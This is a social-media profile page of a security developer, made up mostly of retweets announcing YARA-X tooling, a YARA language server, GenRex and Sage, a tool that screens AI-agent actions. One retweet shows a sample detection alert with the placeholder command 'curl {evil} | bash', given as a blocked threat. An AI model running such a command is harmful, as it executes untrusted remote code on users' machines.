Marek Milkovič (@dev_metthal) profile picture

Dev at Avast Software. Interested in C++, reverse engineering, compilers and game dev.

Brno, Czech Republic
Joined January 2016
Photo by Marek Milkovič (@dev_metthal)Photo by Marek Milkovič (@dev_metthal)Photo by Marek Milkovič (@dev_metthal)Photo by Marek Milkovič (@dev_metthal)Photo by Marek Milkovič (@dev_metthal)Photo by Marek Milkovič (@dev_metthal)Photo by Marek Milkovič (@dev_metthal)Photo by Marek Milkovič (@dev_metthal)
Marek Milkovič retweeted
🛡️ 𝗦𝗮𝗴𝗲 𝗯𝘆 𝗚𝗲𝗻 𝗗𝗶𝗴𝗶𝘁𝗮𝗹: 𝗧𝗵𝗿𝗲𝗮𝘁 𝗕𝗹𝗼𝗰𝗸𝗲𝗱 🛡️ 🚨━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 🚨 𝗧𝗵𝗿𝗲𝗮𝘁 Remote code execution via curl pipe to shell 𝗦𝗲𝘃𝗲𝗿𝗶𝘁𝘆 CRITICAL 𝗔𝗿𝘁𝗶𝗳𝗮𝗰𝘁 curl {evil} | bash AI agents do crazy things - with full access to your machine, data, sometimes even finance. We built an open-source security solution that sits inside the agent and checks every action before it runs. Open-sourced under the Apache 2.0 license 200+ detection rules and heuristics under the Detection-Rule-License (DRL) by @cyb3rops Support for @claudeai (@bcherny), @cursor_ai, @openclaw... Try it. Break it. Tell us what's missing. github.com/avast/sage
2
13
1
51
9,336
Marek Milkovič retweeted
Almost all of us are using #AI agents now. Is it safe? Not always. So with my team we built Sage: Safety for Agents. We call it the first consumer Agent Detection and Response (ADR). And it's #OpenSource now. Try it. gendigital.com/blog/news/com… github.com/avast/sage #GenSage
6
1
12
1,523
Marek Milkovič retweeted
Another Gen contribution to YARA-X upstream thanks to Albert Tikaiev (github.com/prosperritty): A YARA-X Language Server integrated directly into the YARA-X ecosystem, built on the error-tolerant parser started by Tomas Duris (github.com/TommYDeeee). It all started in 2017 with yaramod (github.com/avast/yaramod), an alternative YARA parser we built for linters and static analysis tools. Back then, we didn't even know what a language server was. After several years of iteration, in 2022 we released the first #YARA language server (YLS) on our GitHub (github.com/avast/yls), made by @KastakMatej, though it lived outside the YARA ecosystem. With YARA-X, we saw an opportunity for a unified ecosystem containing all the tooling we've been building and open-sourcing over the years. After adding the error-tolerant parser built on rowan in 2024, the language server was the natural next step. We're grateful @plusvic was open to the idea, accepted it upstream, and even improved it. This isn't our final stop. We'll continue helping build an even stronger YARA-X toolkit. Stay tuned!
I'm happy to introduce the official YARA language server for Visual Studio Code. virustotal.github.io/yara-x/… Many thanks to Albert Tikaiev for putting the first stone in this initative (github.com/prosperritty)
3
8
17
3,129
Marek Milkovič retweeted
I'm happy to introduce the official YARA language server for Visual Studio Code. virustotal.github.io/yara-x/… Many thanks to Albert Tikaiev for putting the first stone in this initative (github.com/prosperritty)
5
38
4
138
28,265
@AvastThreatLabs is now @GenThreatLabs. Our global team of researchers spans trusted cybersecurity brands under Gen. We're covering a broader range of topics – scams, deepfakes, and more. Check out our new look! 🔐#GenThreatLabs #CyberSecurity
4
12
1
19
6,868
Marek Milkovič retweeted
We're excited to announce that the latest version of YARA-X now includes the long-awaited error-resilient parser, a feature we've proudly contributed to. This development enhances YARA-X's robustness and reliability.
6
14
1,309
Marek Milkovič retweeted
Take a look at one of my contributions into this exciting project 🦀
YARA-X is not only a pattern matching tool You can use it for extracting useful information from multiple file formats, including PE, .NET, ELF, Mach-O and LNK. virustotal.github.io/yara-x/…
3
9
750
Marek Milkovič retweeted
YARA-X is not only a pattern matching tool You can use it for extracting useful information from multiple file formats, including PE, .NET, ELF, Mach-O and LNK. virustotal.github.io/yara-x/…
16
2
64
6,395
🚀Exciting News! 🚀 Introducing GenRex🦖: Our latest open-source project revolutionizing regular-expression generation from behavioral reports. Craft powerful regexes directly usable in YARA rules with ease! More in our blog post: engineering.avast.io/know-yo… #GenRex #OpenSource #YARA
19
1
39
5,499
Marek Milkovič retweeted
🎉✨ Start the New Year with a Bang of Knowledge! Uncover the magic of Regular Expressions in YARA with our latest blog post. #KnowYourYARArules 📚🔍 Elevate your #CyberSecurity game and dive into the intricate world of regex: engineering.avast.io/know-yo… #YARA #100DaysOfYARA
17
1
33
5,112
🚀 The #KnowYourYARArules series continues with YARA-X! 🦀✨ Introducing the next-gen YARA tool currently under development written in Rust. Discover the evolution of malware detection in our latest blog post! 🛡️👉 engineering.avast.io/know-yo… #YARA #RustLang 🚨
25
3
47
12,027
🔍Our latest blog post delves into the importance of keeping a close eye on #YARA updates. Learn how staying up to date can improve your YARA rules and where you can find a good news source. Check out our blog: engineering.avast.io/know-yo… #KnowYourYARArules #AvastEngineering
12
1
29
8,712